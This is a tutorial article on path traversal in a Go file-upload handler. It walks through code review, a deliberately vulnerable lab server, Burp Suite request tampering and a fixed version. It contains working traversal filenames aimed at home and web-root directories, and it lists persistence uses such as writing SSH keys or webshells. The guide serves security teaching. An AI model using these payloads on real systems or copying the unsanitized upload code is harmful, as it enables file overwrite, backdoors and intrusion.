Introduction

Web application security is a critical skill for any developer or security professional. One of the most common yet often overlooked vulnerabilities is Path Traversal (also known as Directory Traversal). In this article, we will walk through a real-world example of a path traversal vulnerability in a Go web application, analyze it from a source code review perspective, and demonstrate how it can be exploited in a controlled lab environment.

This is a hands-on learning guide aimed at developers who want to understand how attackers think, and security researchers who are beginning their journey into web application penetration testing.

What is Path Traversal?

Path traversal is a vulnerability that allows an attacker to access files and directories outside the intended scope of an application. By manipulating file paths using sequences like ../, an attacker can potentially read sensitive files, overwrite system files, or in severe cases, achieve remote code execution.

According to OWASP, path traversal is classified under CWE-22 and remains one of the most prevalent vulnerabilities in web applications today.

The Vulnerable Code

Let us start with the vulnerable Go code that we will be analyzing:

go

func uploadFile(w http.ResponseWriter, r *http.Request) {
    file, header, err := r.FormFile("file")
    if err != nil {
        fmt.Println("Error Retrieving the File")
        return
    }
    defer file.Close()
    tempFile, err := ioutil.TempFile("/tmp", header.Filename)
    if err != nil {
        fmt.Println(err)
        return
    }
    fileBytes, err := ioutil.ReadAll(file)
    if err != nil {
        fmt.Println(err)
        return
    }
    tempFile.Write(fileBytes)
    defer tempFile.Close()
    fmt.Fprintf(w, "Successfully Uploaded File\n")
}

At first glance, this looks like a simple file upload handler. However, there is a critical security flaw hiding in plain sight.

Source Code Review — Spotting the Bug

When reviewing code for security vulnerabilities, the first thing to look for is user-controlled input flowing into sensitive functions without sanitization. Let us trace the data flow:

Step 1 — User input enters the application:

go

file, header, err := r.FormFile("file")

Here, header.Filename is entirely controlled by the attacker. Whatever filename they send in the multipart request, the application accepts it blindly.

Step 2 — User input reaches a sensitive function:

go

ioutil.TempFile("/tmp", header.Filename)

The header.Filename is passed directly as the prefix argument to ioutil.TempFile. In older versions of Go (below 1.17), this allowed the filename to contain path traversal sequences like ../../home/kali/evil, causing files to be written outside the intended /tmp directory.

The golden rule of source code review:

Any user-controlled input that reaches a filesystem, database, or system call without sanitization is a potential vulnerability.

Setting Up the Lab

We will set up this vulnerable application locally on Kali Linux to safely practice exploitation.

Install Go:

bash

sudo apt update && sudo apt install golang -y
go version

Create the project:

bash

mkdir ~/vulnlab && cd ~/vulnlab
go mod init vulnupload
nano main.go

Full vulnerable application:

go

package main
import (
    "fmt"
    "io"
    "net/http"
    "os"
)
func uploadFile(w http.ResponseWriter, r *http.Request) {
    file, header, err := r.FormFile("file")
    if err != nil {
        http.Error(w, "Error retrieving file", 400)
        return
    }
    defer file.Close()
    uploadDir := "/tmp/uploads/"
    os.MkdirAll(uploadDir, 0755)
    // VULNERABLE: No sanitization on filename
    savePath := uploadDir + header.Filename
    fmt.Println("[*] Saving to:", savePath)
    dst, err := os.Create(savePath)
    if err != nil {
        http.Error(w, err.Error(), 500)
        return
    }
    defer dst.Close()
    io.Copy(dst, file)
    fmt.Fprintf(w, "Saved to: %s\n", savePath)
}
func main() {
    http.HandleFunc("/upload", uploadFile)
    fmt.Println("[*] Server running on http://localhost:9090")
    http.ListenAndServe(":9090", nil)
}

Run the server:

go run main.go

Intercepting Traffic with Burp Suite

Before exploiting, we route our traffic through Burp Suite to inspect and manipulate requests.

Configure Burp:

  • Open Burp Suite Community Edition
  • Go to Proxy → Options → Proxy Listeners
  • Confirm listener is running on 127.0.0.1:8080
  • Enable Proxy → Intercept → Intercept is on

Send a normal request through Burp:

echo "hello" > /tmp/test.txt
curl -x http://127.0.0.1:8080 \
     -F "file=@/tmp/test.txt" \
     http://localhost:9090/upload

You will see the request appear in Burp's Intercept tab:

POST /upload HTTP/1.1
Host: localhost:9090
Content-Type: multipart/form-data; boundary=----boundary
------boundary
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
hello
------boundary--

Right-click the request and select Send to Repeater, then forward it.

Exploitation

Now the fun begins. In Burp Repeater, we modify the filename field to include path traversal sequences.

Attempt 1 — One directory up:

Content-Disposition: form-data; name="file"; filename="../evil.txt
ls /tmp/
# evil.txt should appear outside /tmp/uploads

Attempt 2 — Into home directory:

Content-Disposition: form-data; name="file"; filename="../../home/kali/pwned.txt"
ls /home/kali/
# pwned.txt should appear here

Attempt 3 — Deeper traversal:

http

Content-Disposition: form-data; name="file"; filename="../../../var/www/html/shell.php"

If a web server is running, you could potentially write a webshell.

Understanding the Path Resolution

Here is how the traversal resolves step by step:

Base path:   /tmp/uploads/
Filename:    ../../home/kali/pwned.txt
Resolution:
/tmp/uploads/
           ↑
           .. → /tmp/
           ↑
           .. → /
           ↓
           home/kali/pwned.txt
Final path: /home/kali/pwned.txt ✅

Why This is Dangerous in Real World

In a real application running as root or a privileged user, this vulnerability could allow an attacker to:

  • Overwrite /etc/crontab to establish persistence
  • Write SSH keys to /root/.ssh/authorized_keys for backdoor access
  • Overwrite application configuration files
  • Deploy webshells if a web server directory is writable

The Fix

Here is how to properly remediate this vulnerability:

import (
    "path/filepath"
    "strings"
    "regexp"
)
func uploadFile(w http.ResponseWriter, r *http.Request) {
    file, header, err := r.FormFile("file")
    if err != nil {
        http.Error(w, "Error retrieving file", 400)
        return
    }
    defer file.Close()
    // FIX 1: Strip all directory components
    safeFilename := filepath.Base(header.Filename)
    // FIX 2: Allow only safe characters
    safeFilename = regexp.MustCompile(`[^a-zA-Z0-9._-]`).
        ReplaceAllString(safeFilename, "_")
    uploadDir := "/tmp/uploads/"
    os.MkdirAll(uploadDir, 0755)
    savePath := filepath.Join(uploadDir, safeFilename)
    // FIX 3: Verify final path is inside intended directory
    if !strings.HasPrefix(savePath, uploadDir) {
        http.Error(w, "Invalid file path", 400)
        return
    }
    dst, err := os.Create(savePath)
    if err != nil {
        http.Error(w, err.Error(), 500)
        return
    }
    defer dst.Close()
    io.Copy(dst, file)
    fmt.Fprintf(w, "File uploaded successfully\n")
}

What each fix does:

filepath.Base() strips everything except the final filename component, so ../../home/kali/evil.txt becomes just evil.txt.

regexp sanitization removes any character that is not alphanumeric, a dot, dash, or underscore.

strings.HasPrefix acts as a final safety net, ensuring the resolved path always stays within the intended upload directory.

Key Takeaways

Source code review is about tracing user input to sensitive functions. Any unsanitized input reaching os.Create, ioutil.TempFile, os.Open, or similar calls is a red flag. Always use filepath.Base and filepath.Join when constructing paths from user input. Defense in depth means applying multiple layers of validation, not just one. Practice in a controlled lab environment before attempting any real-world testing.

Further Practice

To continue building your skills, explore DVWA (Damn Vulnerable Web Application) for more vulnerability types, PentesterLab for structured web security exercises, HackTheBox and TryHackMe for realistic penetration testing scenarios, and the OWASP Testing Guide for professional methodology.

Conclusion

Path traversal vulnerabilities are deceptively simple yet potentially devastating. As this walkthrough demonstrates, a single line of unsanitized code can open the door to serious filesystem attacks. By learning to read code like an attacker and setting up local labs to test your findings, you build the muscle memory needed to catch these bugs before they reach production.

Security is not just about tools — it is about understanding how systems work and how they can be abused. Happy hacking, responsibly.